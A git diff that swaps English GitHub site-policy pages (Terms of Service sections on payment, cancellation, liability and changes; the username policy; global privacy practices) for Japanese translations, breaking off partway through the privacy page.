+常に製品とサービスの改善に努めている当社は、「ベータプレビュー」のユーザーであるお客様からのフィードバックを歓迎いたします。 お客様が製品またはサービスに関するアイデア、ノウハウ、アルゴリズム、コードのコントリビューション、提案、拡張要求、推奨、またはその他のフィードバック (「フィードバック」と総称) を提供することを選択した場合、GitHub がその「フィードバック」を当社の製品、サービス、ドキュメントに利用、変更、商業的に利用、および/または採用するためにロイヤルティフリー、完全有料、世界的、委譲可能、サブライセンス可能、回復不能で永続的なライセンスを保持していることを、お客様は認め、これに同意するものとします。
 
-## K. Payment
-**Short version:** *You are responsible for any fees associated with your use of GitHub. We are responsible for communicating those fees to you clearly and accurately, and letting you know well in advance if those prices change.*
+## K. 支払い
+**趣旨の要約:** *お客様は、GitHub の使用に関連する料金に対する責任を負います。 当社には、かかる料金を明確かつ正確にあなたに伝え、この価格が変更された場合は事前にお知らせする責任があります。*
 
-### 1. Pricing
-Our pricing and payment terms are available at [github.com/pricing](https://github.com/pricing). If you agree to a subscription price, that will remain your price for the duration of the payment term; however, prices are subject to change at the end of a payment term.
+### 1. 価格
+価格と支払い条件は、[github.com/pricing](https://github.com/pricing) でご確認いただけます。 お客様がプランの価格に同意する場合、支払い期間中はその価格が維持されます。ただし、価格は支払い期間の終了時に変更される場合があります。
 
-### 2. Upgrades, Downgrades, and Changes
-- We will immediately bill you when you upgrade from the free plan to any paying plan.
-- If you change from a monthly billing plan to a yearly billing plan, GitHub will bill you for a full year at the next monthly billing date.
-- If you upgrade to a higher level of service, we will bill you for the upgraded plan immediately.
-- You may change your level of service at any time by [choosing a plan option](https://github.com/pricing) or going into your [Billing settings](https://github.com/settings/billing). If you choose to downgrade your Account, you may lose access to Content, features, or capacity of your Account. Please see our section on [Cancellation](#l-cancellation-and-termination) for information on getting a copy of that Content.
+### 2. アップグレード、ダウングレード、および変更
+- お客様が無料プランから有料プランにアップグレードした場合、当社は即座にお客様に請求を行います。
+- お客様が月間払いのプランから年間払いのプランに変更した場合、GitHub は次の月間請求日に 1 年間分の請求を行います。
+- お客様がより高いレベルのサービスにアップグレードした場合、当社はアップグレード後のプランの料金を即座に請求します。
+- [プランオプションを選択](https://github.com/pricing)するか、[支払い設定](https://github.com/settings/billing)にアクセスすることで、サービスレベルはいつでも変更できます。 「アカウント」のダウングレードを選択した場合、お客様は「アカウント」の「コンテンツ」、機能、または容量にアクセスできなくなる場合があります。 かかる「コンテンツ」のコピーを取得する方法については、[キャンセル](#l-cancellation-and-termination)に関するセクションをご覧ください。
 
-### 3. Billing Schedule; No Refunds
-**Payment Based on Plan** For monthly or yearly payment plans, the Service is billed in advance on a monthly or yearly basis respectively and is non-refundable. There will be no refunds or credits for partial months of service, downgrade refunds, or refunds for months unused with an open Account; however, the service will remain active for the length of the paid billing period. In order to treat everyone equally, no exceptions will be made.
+### 3. 支払いスケジュール、返金なし
+**プランに基づく支払い:** 月間または年間払いのプランの場合、「サービス」はそれぞれ月ごとまたは年ごとに前払いされ、返金されません。 サービスの一部の月に対する返金もしくはクレジット、ダウングレードの返金、または有効な「アカウント」の未使用月に対する返金はありません。ただし、支払い済みの支払い期間の間は、サービスは有効です。 すべてのユーザを平等に扱うために、例外はありません。
 
-**Payment Based on Usage** Some Service features are billed based on your usage. A limited quantity of these Service features may be included in your plan for a limited term without additional charge. If you choose to purchase paid Service features beyond the quantity included in your plan, you pay for those Service features based on your actual usage in the preceding month. Monthly payment for these purchases will be charged on a periodic basis in arrears. See [GitHub Additional Product Terms for Details](/github/site-policy/github-additional-product-terms).
+**使用量に基づく支払い:** 「サービス」の一部の機能は、使用量に基づいて請求されます。 かかる「サービス」機能は、限られた使用量および期間であれば、追加料金なしでご利用のプランで使用できる場合があります。 ご利用のプランに含まれる数量を超えて有料の「サービス」機能を購入することを選択した場合、お客様は前月の実際の使用量に基づいてかかる「サービス」機能の料金を支払います。 かかる購入に対する毎月の支払いは、後払いで定期的に請求されます。 詳しくは、[GitHub 追加製品の利用規約](/github/site-policy/github-additional-product-terms)を参照してください。
 
-**Invoicing** For invoiced Users, User agrees to pay the fees in full, up front without deduction or setoff of any kind, in U.S. Dollars. User must pay the fees within thirty (30) days of the GitHub invoice date. Amounts payable under this Agreement are non-refundable, except as otherwise provided in this Agreement. If User fails to pay any fees on time, GitHub reserves the right, in addition to taking any other action at law or equity, to (i) charge interest on past due amounts at 1.0% per month or the highest interest rate allowed by law, whichever is less, and to charge all expenses of recovery, and (ii) terminate the applicable order form. User is solely responsible for all taxes, fees, duties and governmental assessments (except for taxes based on GitHub's net income) that are imposed or become due in connection with this Agreement.
+**請求:** 請求書払いの「ユーザ」の場合、「ユーザ」は、いかなる種類の控除も相殺もなく料金の全額を米ドルの前払いで支払うことに同意するものとします。 。 「ユーザ」は、GitHub による請求日から 30 日以内に料金を支払う必要があります。 本「契約」に基づいて支払われる金額は、本「契約」に別段の定めがある場合を除き、返金できません。 「ユーザ」が定められた期限に料金を支払わなかった場合、普通法または衡平法に基づく法的措置を取ることに加え、GitHub は次の権利を留保します。(i) 過去の未払い金に対して毎月 1.0% か、法律により許容される最高額の金利のうち、いずれか低い額の金利を課し、かつ回収に要するあらゆる費用を課すこと、および (ii) 該当する注文書を解約すること。 本「契約」に関して課されたか、負うようになったあらゆる税金、料金、関税、および政府による査定 (GitHub の純利益に基づく税金を除く) について、お客様は全責任を負います。
 
-### 4. Authorization
-By agreeing to these Terms, you are giving us permission to charge your on-file credit card, PayPal account, or other approved methods of payment for fees that you authorize for GitHub.
+### 4. 認可
+本「規約」に同意することにより、お客様は GitHub に対して承認した料金について、登録されたクレジットカード、PayPal アカウント、またはその他の承認された支払い方法に請求する許可を当社に与えるものとします。
 
-### 5. Responsibility for Payment
-You are responsible for all fees, including taxes, associated with your use of the Service. By using the Service, you agree to pay GitHub any charge incurred in connection with your use of the Service.  If you dispute the matter, contact [GitHub Support](https://support.github.com/contact?tags=docs-policy). You are responsible for providing us with a valid means of payment for paid Accounts. Free Accounts are not required to provide payment information.
+### 5. 支払いの責任
+税金を含む「サービス」の利用に関連するすべての料金は、お客様の責任となります。 「サービス」を利用することにより、お客様は「サービス」の利用に関連して発生した料金を GitHub に支払うことに同意するものとします。  If you dispute the matter, contact [GitHub Support](https://support.github.com/contact?tags=docs-policy). お客様は、有料「アカウント」の有効な支払い方法を当社に提供する責任を負います。 無料アカウントの場合は支払い情報を提供する必要はありません。
 
-## L. Cancellation and Termination
-**Short version:** *You may close your Account at any time. If you do, we'll treat your information responsibly.*
+## L. キャンセルと解約
+**趣旨の要約:** *お客様はいつでも「アカウント」を閉鎖できます。 その場合、当社は責任を持ってお客様の情報を取り扱います。*
 
-### 1. Account Cancellation
-It is your responsibility to properly cancel your Account with GitHub. You can [cancel your Account at any time](/articles/how-do-i-cancel-my-account/) by going into your Settings in the global navigation bar at the top of the screen. The Account screen provides a simple, no questions asked cancellation link. We are not able to cancel Accounts in response to an email or phone request.
+### 1. アカウントのキャンセル
+GitHub で自身の「アカウント」を適切にキャンセルすることは、お客様の責任です。 画面上部のグローバルナビゲーションバーの [設定] にアクセスすると、[いつでも「アカウント」をキャンセル](/articles/how-do-i-cancel-my-account/)できます。 [アカウント] 画面には、シンプルで質問のないキャンセルリンクが表示されます。 当社は、メールや電話での要請に対応して「アカウント」をキャンセルすることはできません。
 
-### 2. Upon Cancellation
-We will retain and use your information as necessary to comply with our legal obligations, resolve disputes, and enforce our agreements, but barring legal requirements, we will delete your full profile and the Content of your repositories within 90 days of cancellation or termination (though some information may remain in encrypted backups). This information can not be recovered once your Account is cancelled.
+### 2. キャンセル時
+当社は、法的義務の遵守、紛争解決および当社の契約を実行するためにお客様の情報を保持かつ利用します。キャンセルまたは解約から 90 日以内に、当社はお客様のすべてのプロフィールとリポジトリの「コンテンツ」を削除します (ただし、一部の情報は暗号化されたバックアップに残る場合があります)。 「アカウント」がキャンセルされると、この情報は復元できません。
 
-We will not delete Content that you have contributed to other Users' repositories or that other Users have forked.
+お客様が他の「ユーザ」のリポジトリにコントリビューションした「コンテンツ」や、他の「ユーザ」がフォークした「コンテンツ」は削除されません。
 
-Upon request, we will make a reasonable effort to provide an Account owner with a copy of your lawful, non-infringing Account contents after Account cancellation, termination, or downgrade. You must make this request within 90 days of cancellation, termination, or downgrade.
+「アカウント」のキャンセル、解約、またはダウングレード後、当社はリクエストに応じて「アカウント」所有者に合法的で権利を侵害していない「アカウント」のコンテンツのコピーを提供するための合理的な努力を払います。 このリクエストは、キャンセル、解約、またはダウングレードから 90 日以内に行う必要があります。
 
-### 3. GitHub May Terminate
-GitHub has the right to suspend or terminate your access to all or any part of the Website at any time, with or without cause, with or without notice, effective immediately. GitHub reserves the right to refuse service to anyone for any reason at any time.
+### 3. GitHub による終了の可能性
+GitHub は、理由の有無にかかわらず、また通知の有無にかかわらず、いつでも即座に「ウェブサイト」のすべてまたは一部へのあなたのアクセスを停止または終了する権利を有します。 GitHub は、理由を問わず、いつでも誰に対してもサービスを拒否する権利を留保します。
 
-### 4. Survival
-All provisions of this Agreement which, by their nature, should survive termination *will* survive termination — including, without limitation: ownership provisions, warranty disclaimers, indemnity, and limitations of liability.
+### 4. 存続
+本質的に解約後も存続すべき本「契約」のすべての条項は、解約後も存続します**。これには、所有権の条項、保証の免責、補償、責任の制限が含まれますがこれらに限定されません。
 
-## M. Communications with GitHub
-**Short version:** *We use email and other electronic means to stay in touch with our users.*
+## M. GitHub との通信手段
+**趣旨の要約:** *当社は、ユーザとの通信にメールなどの電子的な手段を使用します。*
 
-### 1. Electronic Communication Required
-For contractual purposes, you (1) consent to receive communications from us in an electronic form via the email address you have submitted or via the Service; and (2) agree that all Terms of Service, agreements, notices, disclosures, and other communications that we provide to you electronically satisfy any legal requirement that those communications would satisfy if they were on paper. This section does not affect your non-waivable rights.
+### 1. 電子通信の必要性
+契約上の目的で、お客様は (1) 提出したメールアドレスまたは「サービス」を介して、電子形式で当社からの通信を受信すること、並びに (2) 当社がお客様に電子的に提供するすべての「利用規約」、契約、通知、開示、およびその他の通信が、かかる通信が紙面である場合に満たす法的要件を満たすことに同意するものとします。 本セクションは、お客様の放棄不能な権利には影響しません。
 
-### 2. Legal Notice to GitHub Must Be in Writing
-Communications made through email or GitHub Support's messaging system will not constitute legal notice to GitHub or any of its officers, employees, agents or representatives in any situation where notice to GitHub is required by contract or any law or regulation. Legal notice to GitHub must be in writing and [served on GitHub's legal agent](/articles/guidelines-for-legal-requests-of-user-data/#submitting-requests).
+### 2. 書面で行う必要がある GitHub への法的通知
+電子メールまたは GitHub サポートのメッセージングシステムを介して行われる通信は、契約または法規制上 GitHub への通知が必要な状況で、GitHub またはその役員、従業員、代理人、もしくは代表者への法的通知とはなりません。 GitHub への法的通知は書面で行い、[GitHub の法的代理人に送達](/articles/guidelines-for-legal-requests-of-user-data/#submitting-requests)される必要があります。
 
-### 3. No Phone Support
-GitHub only offers support via email, in-Service communications, and electronic messages. We do not offer telephone support.
+### 3. 電話サポートなし
+GitHub は、電子メール、「サービス」内通信、および電子メッセージによるサポートのみを提供します。 電話によるサポートは提供していません。
 
-## N. Disclaimer of Warranties
-**Short version:** *We provide our service as is, and we make no promises or guarantees about this service. Please read this section carefully; you should understand what to expect.*
+## N. 保証免責
+**趣旨の要約:** *当社は、サービスを現状有姿で提供し、本サービスについて一切の約束も保証も行いません。 このセクションは特によくお読みください。何を期待できるかを理解しておく必要があります。*
 
-GitHub provides the Website and the Service “as is” and “as available,” without warranty of any kind. Without limiting this, we expressly disclaim all warranties, whether express, implied or statutory, regarding the Website and the Service including without limitation any warranty of merchantability, fitness for a particular purpose, title, security, accuracy and non-infringement.
+GitHub は、いかなる種類の保証もなしに、「ウェブサイト」および「サービス」を「現状有姿」および「提供可能な限度」で提供します。 当社は、「ウェブサイト」および「サービス」に関して、商品性、特定目的への適合性、権原、セキュリティ、正確性、および非侵害性を含むがこれに限定されない一切の保証を明示的に否認します。
 
-GitHub does not warrant that the Service will meet your requirements; that the Service will be uninterrupted, timely, secure, or error-free; that the information provided through the Service is accurate, reliable or correct; that any defects or errors will be corrected; that the Service will be available at any particular time or location; or that the Service is free of viruses or other harmful components. You assume full responsibility and risk of loss resulting from your downloading and/or use of files, information, content or other material obtained from the Service.
+GitHub は、「サービス」がお客様の要件を満たすこと、「サービス」が中断されないこと、適時に提供されること、安全であること、またはエラーがないこと、「サービス」を通じて提供される情報が正確、信頼できる、または的確であること、あらゆる欠陥やエラーが修正されること、「サービス」が特定の時間や場所で利用できること、ならびに「サービス」にウイルスやその他の有害なコンポーネントが含まれていないことを保証しません。 お客様は、「サービス」から取得したファイル、情報、コンテンツ、またはその他の素材のダウンロードおよび/または使用に起因する全責任と損失のリスクを負います。
 
-## O. Limitation of Liability
-**Short version:** *We will not be liable for damages or losses arising from your use or inability to use the service or otherwise arising under this agreement. Please read this section carefully; it limits our obligations to you.*
+## O. 責任の制限
+**趣旨の要約:*** 当社は、あなたがサービスを利用するかもしくは利用できないことに起因するか、またはその他本契約に基づいて発生する損害または損失について責任を負いません。 このセクションは特によくお読みください。お客様に対する当社の義務を制限する内容になっています。*
 
-You understand and agree that we will not be liable to you or any third party for any loss of profits, use, goodwill, or data, or for any incidental, indirect, special, consequential or exemplary damages, however arising, that result from
+以下の結果生じる利益、使用、のれん、もしくはデータの損失、またはそれに起因する偶発的、間接的、特別、結果的もしくは模範的な損害について、当社があなたまたは第三者に責任を負わないことを、お客様は理解および同意するものとします。
 
-- the use, disclosure, or display of your User-Generated Content;
-- your use or inability to use the Service;
-- any modification, price change, suspension or discontinuance of the Service;
-- the Service generally or the software or systems that make the Service available;
-- unauthorized access to or alterations of your transmissions or data;
-- statements or conduct of any third party on the Service;
-- any other user interactions that you input or receive through your use of the Service; or
-- any other matter relating to the Service.
+- お客様の「ユーザ生成コンテンツ」の使用、開示、または表示
+- お客様による「サービス」の利用または利用不能
+- 「サービス」の変更、価格変更、一時停止、または中止
+- 「サービス」全般、または「サービス」を利用可能にするソフトウェアもしくはシステム
+- お客様の送信内容またはデータへの不正アクセスまたは変更
+- 「サービス」に関する第三者の声明または行為
+- お客様が「サービス」の利用を通じて入力または受信するその他のユーザインタラクション
+- 「サービス」に関連するその他の事項
 
-Our liability is limited whether or not we have been informed of the possibility of such damages, and even if a remedy set forth in this Agreement is found to have failed of its essential purpose. We will have no liability for any failure or delay due to matters beyond our reasonable control.
+かかる損害の可能性が通知されているかどうかにかかわらず、また、本「契約」に定められている救済策がその本質的な目的を達成できなかった場合でも、当社の責任は限定されます。 合理的な管理の及ばない事由による失敗または遅延については、当社は責任を負いません。
 
-## P. Release and Indemnification
-**Short version:** *You are responsible for your use of the service. If you harm someone else or get into a dispute with someone else, we will not be involved.*
+## P. 免責・補償
+**趣旨の要約:** *お客様は、本サービスの利用に対する責任を負います。 お客様が他者に危害を加えたり、他者との紛争に巻き込まれた場合、当社は関与しません。*
 
-If you have a dispute with one or more Users, you agree to release GitHub from any and all claims, demands and damages (actual and consequential) of every kind and nature, known and unknown, arising out of or in any way connected with such disputes.
+お客様と 1 人または複数の「ユーザ」との間で紛争が発生した場合、お客様は、GitHub を、かかる紛争に起因するか、または何らかの形で関係する、既知および未知のあらゆる種類および性質のあらゆる請求、要求、および損害 (実際および結果) から解放することに同意するものとします。
 
-You agree to indemnify us, defend us, and hold us harmless from and against any and all claims, liabilities, and expenses, including attorneys’ fees, arising out of your use of the Website and the Service, including but not limited to your violation of this Agreement, provided that GitHub (1) promptly gives you written notice of the claim, demand, suit or proceeding; (2) gives you sole control of the defense and settlement of the claim, demand, suit or proceeding (provided that you may not settle any claim, demand, suit or proceeding unless the settlement unconditionally releases GitHub of all liability); and (3) provides to you all reasonable assistance, at your expense.
+お客様は、本「契約」のお客様の違反を含むがこれに限定されない、「ウェブサイト」および「サービス」の利用に起因する、弁護士費用を含むあらゆる請求、負債、および費用から当社を補償し、弁護し、無害に保つことに同意します。ただし、GitHub が (1) 請求、要求、訴訟または法的手続きの書面による通知を速やかにあなたに提供する、(2) 請求、要求、訴訟または法的手続きの弁護および和解の単独の支配権をお客様に与える (ただし、和解によって GitHub のすべての責任が無条件に解除されない限り、お客様は請求、要求、訴訟または法的手続きを和解できないことを条件とします)、並びに (3) お客様の費用負担により、合理的なあらゆる支援をお客様に提供することを条件とします。
 
-## Q. Changes to These Terms
-**Short version:** *We want our users to be informed of important changes to our terms, but some changes aren't that important — we don't want to bother you every time we fix a typo. So while we may modify this agreement at any time, we will notify users of any material changes and give you time to adjust to them.*
+## Q. 本規約の変更
+**趣旨の要約:** *当社は規約に重要な変更があった場合にそれをユーザに知らせたいと思う一方、それほど重要ではない変更があることも事実で、たとえば誤字を修正するたびにお客様の手を焼かせるのは不本意です。 したがって、本契約は適宜変更される場合がありますが、当社は重要な変更についてユーザに通知し、かかる変更に適応するために必要な時間を提供します。*
 
-We reserve the right, at our sole discretion, to amend these Terms of Service at any time and will update these Terms of Service in the event of any such amendments. We will notify our Users of material changes to this Agreement, such as price increases, at least 30 days prior to the change taking effect by posting a notice on our Website or sending email to the primary email address specified in your GitHub account. Customer's continued use of the Service after those 30 days constitutes agreement to those revisions of this Agreement. For any other modifications, your continued use of the Website constitutes agreement to our revisions of these Terms of Service. You can view all changes to these Terms in our [Site Policy](https://github.com/github/site-policy) repository.
+当社は、独自の裁量により、いつでも本「利用規約」を修正する権利を留保し、かかる修正があった場合には本「利用規約」を更新します。 当社は、価格の上昇など本契約の重要な変更について、変更が発効する少なくとも 30 日前に、当社「ウェブサイト」上で通知を投稿する、またはお客様の GitHub アカウントで指定するプライマリメールアドレスにメールを送信することにより、ユーザに通知します。 通知の 30 日以降にお客様が「サービス」を継続して利用することをもって、本契約の改定に同意したものとみなされます。 その他の変更については、お客様が「ウェブサイト」を継続して利用することをもって、本「利用規約」の改訂に同意したものとみなされます。 これらの「条項」におけるすべての変更は、[サイトポリシー](https://github.com/github/site-policy)リポジトリで確認できます。
 
-We reserve the right at any time and from time to time to modify or discontinue, temporarily or permanently, the Website (or any part of it) with or without notice.
+当社は予告の有無にかかわらず、「ウェブサイト」(またはその一部) を常時およびその時々に変更し、一時的または永続的に停止する権利を留保します。
 
-## R. Miscellaneous
+## R. 雑則
 
-### 1. Governing Law
-Except to the extent applicable law provides otherwise, this Agreement between you and GitHub and any access to or use of the Website or the Service are governed by the federal laws of the United States of America and the laws of the State of California, without regard to conflict of law provisions. You and GitHub agree to submit to the exclusive jurisdiction and venue of the courts located in the City and County of San Francisco, California.
+### 1. 準拠法
+適用法が別途規定する範囲を除き、あなたと GitHub 間の本「契約」および「ウェブサイト」または「サービス」へのアクセスまたはその利用は、抵触法の規定に関係なく、アメリカ合衆国連邦法およびカリフォルニア州法に準拠します。 お客様と GitHub は、カリフォルニア州サンフランシスコ市郡にある裁判所の専属管轄権および裁判地に服することに同意するものとします。
 
-### 2. Non-Assignability
-GitHub may assign or delegate these Terms of Service and/or the [GitHub Privacy Statement](https://github.com/site/privacy), in whole or in part, to any person or entity at any time with or without your consent, including the license grant in Section D.4. You may not assign or delegate any rights or obligations under the Terms of Service or Privacy Statement without our prior written consent, and any unauthorized assignment and delegation by you is void.
+### 2. 割り当て不能
+GitHub は、お客様の同意の有無にかかわらずいつでも本「利用規約」および/または「[GitHub のプライバシーについての声明](https://github.com/site/privacy)」を、全体か一部かを問わず、任意の個人または法人に割り当てまたは委任することができます。 これには、セクション D.4 のライセンス付与が含まれます。 お客様は、当社の事前の書面による同意なしに、本「利用規約」または「プライバシーについての声明」に基づく権利または義務を割り当てまたは委任することはできません。
 
-### 3. Section Headings and Summaries
-Throughout this Agreement, each section includes titles and brief summaries of the following terms and conditions. These section titles and brief summaries are not legally binding.
+### 3. セクションの見出しと要約
+本「契約」全体を通して、各セクションには後述の契約条件のタイトルと簡単な要約が含まれています。 これらのセクションのタイトルと簡単な要約には法的拘束力はありません。
 
-### 4. Severability, No Waiver, and Survival
-If any part of this Agreement is held invalid or unenforceable, that portion of the Agreement will be construed to reflect the parties’ original intent. The remaining portions will remain in full force and effect. Any failure on the part of GitHub to enforce any provision of this Agreement will not be considered a waiver of our right to enforce such provision. Our rights under this Agreement will survive any termination of this Agreement.
+### 4. 可分性、権利不放棄、および存続
+本「契約」の一部が無効または法的強制力がないと判断された場合、「契約」のかかる部分は当事者の当初の意図を反映するものと解釈されます。 残りの部分は完全な力と効果を維持します。 GitHub が本「契約」の規定を施行しなかった場合、かかる規定を施行する権利の放棄とはみなされません。 本「契約」に基づく当社の権利は、本「契約」が終了しても存続します。
 
-### 5. Amendments; Complete Agreement
-This Agreement may only be modified by a written amendment signed by an authorized representative of GitHub, or by the posting by GitHub of a revised version in accordance with [Section Q. Changes to These Terms](#q-changes-to-these-terms). These Terms of Service, together with the GitHub Privacy Statement, represent the complete and exclusive statement of the agreement between you and us. This Agreement supersedes any proposal or prior agreement oral or written, and any other communications between you and GitHub relating to the subject matter of these terms including any confidentiality or nondisclosure agreements.
+### 5. 修正、完全合意
+本「契約」は、GitHub の権限のある代表者が署名した書面による修正、または「[セクション Q: 本規約の変更](#q-changes-to-these-terms)」に従った GitHub による改訂版の投稿によってのみ変更できます。 本「利用規約」は、「GitHub のプライバシーについての声明」とともに、お客様と当社の間の完全かつ排他的な合意の声明を表しています。 本「契約」は、守秘義務契約または機密保持契約を含むかかる規約の主題に関する口頭または書面による提案または事前の契約、およびあなたと GitHub 間のその他の通信に優先します。
 
-### 6. Questions
-Questions about the Terms of Service? [Contact us](https://support.github.com/contact?tags=docs-policy).
+### 6. 質問
+「利用規約」について質問がございましたら、 [Contact us](https://support.github.com/contact?tags=docs-policy).
diff --git a/translations/ja-JP/content/github/site-policy/github-username-policy.md b/translations/ja-JP/content/github/site-policy/github-username-policy.md
index 84c19fe327..7780a9c6b8 100644
--- a/translations/ja-JP/content/github/site-policy/github-username-policy.md
+++ b/translations/ja-JP/content/github/site-policy/github-username-policy.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Username Policy
+title: GitHub ユーザ名ポリシー
 redirect_from:
   - /articles/name-squatting-policy
   - /articles/github-username-policy
@@ -10,18 +10,18 @@ topics:
   - Legal
 ---
 
-GitHub account names are available on a first-come, first-served basis, and are intended for immediate and active use.
+GitHub アカウント名は、すぐに使用されることを前提として先着順で提供されています。
 
-## What if the username I want is already taken?
+## 使用したいユーザ名がすでに他者に取得されている場合
 
-Keep in mind that not all activity on GitHub is publicly visible; accounts with no visible activity may be in active use.
+GitHub 上のすべてのアクティビティが公開されているわけではありませんのでご注意ください。公開されているアクティビティがないアカウントでも、実際に使用されている可能性があります。
 
-If the username you want has already been claimed, consider other names or unique variations. Using a number, hyphen, or an alternative spelling might help you identify a desirable username still available.
+使用したいユーザ名がすでに取得されている場合、他の名前を取得するか、名前を少し変えることを検討してください。 数字、ハイフン、別のつづりなどを使えば、希望するユーザ名が見つかるかもしれません。
 
-## Trademark Policy
+## トレードマークポリシー
 
-If you believe someone's account is violating your trademark rights, you can find more information about making a trademark complaint on our [Trademark Policy](/articles/github-trademark-policy/) page.
+誰かのアカウントがあなたの商標権を侵害していると思われる場合は、[トレードマークポリシー](/articles/github-trademark-policy/)のページで商標権侵害の申し立てに関する詳細をご確認ください。
 
-## Name Squatting Policy
+## ネームスクワッティングに関するポリシー
 
-GitHub prohibits account name squatting, and account names may not be reserved or inactively held for future use. Accounts violating this name squatting policy may be removed or renamed without notice. Attempts to sell, buy, or solicit other forms of payment in exchange for account names are prohibited and may result in permanent account suspension.
+GitHub はアカウント名を不正に占拠することを禁止しており、現時点で使用しないアカウント名を予約したり、将来の使用のために保持したりすることはできません。 ネームスクワッティングポリシーに違反するアカウントは、通知なしに削除またはアカウント名を変更されることがあります。 アカウント名と引き換えに他の形態の支払いを販売、購入、または勧誘することは禁止されており、これを行った場合、アカウントが永久に停止される場合があります。
diff --git a/translations/ja-JP/content/github/site-policy/global-privacy-practices.md b/translations/ja-JP/content/github/site-policy/global-privacy-practices.md
index 4d12086d81..d3b08dfe5c 100644
--- a/translations/ja-JP/content/github/site-policy/global-privacy-practices.md
+++ b/translations/ja-JP/content/github/site-policy/global-privacy-practices.md
@@ -1,5 +1,5 @@
 ---
-title: Global Privacy Practices
+title: プライバシーのグローバルプラクティス
 redirect_from:
   - /eu-safe-harbor
   - /articles/global-privacy-practices
@@ -10,66 +10,66 @@ topics:
   - Legal
 ---
 
-Effective date: July 22, 2020
+発効日: 2020年7月22日
 
-GitHub provides the same high standard of privacy protection—as described in GitHub’s [Privacy Statement](/github/site-policy/github-privacy-statement#githubs-global-privacy-practices)—to all our users and customers around the world, regardless of their country of origin or location, and GitHub is proud of the level of notice, choice, accountability, security, data integrity, access, and recourse we provide. 
+GitHubは、GitHubの[プライバシーについての声明](/github/site-policy/github-privacy-statement#githubs-global-privacy-practices)に記載されている高水準のプライバシー保護を、その出生国や地域にかかわらず、世界中すべてのユーザおよびお客様に対して等しく提供しています。当社が提供する通知、選択肢、アカウンタビリティ、セキュリティ、データ完全性、アクセス、および償還の水準をGitHubは誇りにしています。
 
-GitHub also complies with certain legal frameworks relating to the transfer of data from the European Economic Area, the United Kingdom, and Switzerland (collectively, “EU”) to the United States. When GitHub engages in such transfers, GitHub relies on Standard Contractual Clauses as the legal mechanism to help ensure your rights and protections travel with your personal information. In addition, GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks. To learn more about the European Commission’s decisions on international data transfer, see this article on the [European Commission website](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection_en).
+またGitHubは、欧州経済領域、英国、スイス (「EU」と総称) から米国へのデータの移転に関する特定の法的枠組みに準拠しています。 GitHubがかかる移転を行う際は、個人情報の伝達に伴うあなたの権利を保護するための法的仕組みとして、標準契約条項に依拠します。 さらにGitHubは、EU-米国プライバシーシールドフレームワークの認証を受けています。 国際的なデータの移転に関する欧州委員会の決定の詳細については、欧州委員会のウェブサイトにある[こちらの記事](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection_en)を参照してください。
 
-## Standard Contractual Clauses
+## 標準契約条項
 
-GitHub relies on the European Commission-approved Standard Contractual Clauses (“SCCs”) as a legal mechanism for data transfers from the EU. SCCs are contractual commitments between companies transferring personal data, binding them to protect the privacy and security of such data. GitHub adopted SCCs so that the necessary data flows can be protected when transferred outside the EU to countries which have not been deemed by the European Commission to adequately protect personal data, including protecting data transfers to the United States. 
+GitHubは、EUからのデータ転送に対する法的仕組みとして、欧州委員会が承認した標準契約条項 (「SCC」) に依拠しています。 SCCは、個人情報を転送する企業間の契約責任であり、かかるデータのプライバシーとセキュリティを保護するための拘束力を持ちます。 EU外から、欧州連合が個人情報を適切に保護していないと見なす諸国 (米国へのデータ移転の保護を含む) への必要なデータフローを保護するため、GitHubではSCCを採用しました。
 
-To learn more about SCCs, see this article on the [European Commission website](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection/standard-contractual-clauses-scc_en). 
+SCCの詳細については、欧州委員会のウェブサイトにある[こちらの記事](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection/standard-contractual-clauses-scc_en)を参照してください。
 
-## Privacy Shield Framework
+## プライバシー シールド フレームワーク
 
-GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks and the commitments they entail, although GitHub does not rely on the EU-US Privacy Shield Framework as a legal basis for transfers of personal information in light of the judgment of the Court of Justice of the EU in Case C-311/18.
+欧州司法裁判所の判決 (Case C-311/18) に基づいて、GitHubは、個人情報の転送に関する法的根拠としてはEU-米国プライバシーシールドフレームワークに依拠しないものの、EU-米国およびスイス-米国のプライバシーシールドフレームワークの認証を受け、そこに含まれる義務を履行します。
 
-The EU-US and Swiss-US Privacy Shield Frameworks are set forth by the US Department of Commerce regarding the collection, use, and retention of User Personal Information transferred from the European Union, the UK, and Switzerland to the United States. GitHub has certified to the Department of Commerce that it adheres to the Privacy Shield Principles. If our vendors or affiliates process User Personal Information on our behalf in a manner inconsistent with the principles of either Privacy Shield Framework, GitHub remains liable unless we prove we are not responsible for the event giving rise to the damage.
+EU-米国およびスイス-米国プライバシーシールドフレームワークはEU、イギリスおよびスイスから米国へ転送されたユーザ個人情報の収集、利用および保持について、米国商務省により定められたものです。 GitHubは、プライバシーシールド原則を遵守することを商務省に証明しています。 当社のベンダーや関連会社が、いずれかのプライバシーシールドフレームワークの原則に反した方法でユーザ個人情報を処理する場合は、損害を発生させた事象について当社に責任がないことを証明しない限り、GitHubが責任を負います。
 
-For purposes of our certifications under the Privacy Shield Frameworks, if there is any conflict between the terms in these Global Privacy Practices and the Privacy Shield Principles, the Privacy Shield Principles shall govern. To learn more about the Privacy Shield program, and to view our certification, visit the [Privacy Shield website](https://www.privacyshield.gov/).
+プライバシーシールドフレームワークに基づく認証において、本グローバルプライバシープラクティスとプライバシープライバシーシールド原則の条項の間に何らかの矛盾がある場合、プライバシーシールド原則を優先するものとします。 プライバシーシールプログラムについて詳細を知りたい場合、および、当社の証明を閲覧したい場合、[プライバシーシールドウェブサイト](https://www.privacyshield.gov/)を確認ください。
 
-The Privacy Shield Frameworks are based on seven principles, and GitHub adheres to them in the following ways:
+プライバシー シールドフレームワークは7つの原則に基づいており、GitHubは以下の方法でこれに準拠しています。
 
-- **Notice**
-  - We let you know when we're collecting your personal information.
-  - We let you know, in our [Privacy Statement](/articles/github-privacy-statement/), what purposes we have for collecting and using your information, who we share that information with and under what restrictions, and what access you have to your data.
-  - We let you know that we're participating in the Privacy Shield framework, and what that means to you.
-  - We have a {% data variables.contact.contact_privacy %} where you can contact us with questions about your privacy.
-  - We let you know about your right to invoke binding arbitration, provided at no cost to you, in the unlikely event of a dispute.
-  - We let you know that we are subject to the jurisdiction of the Federal Trade Commission.
-- **Choice**
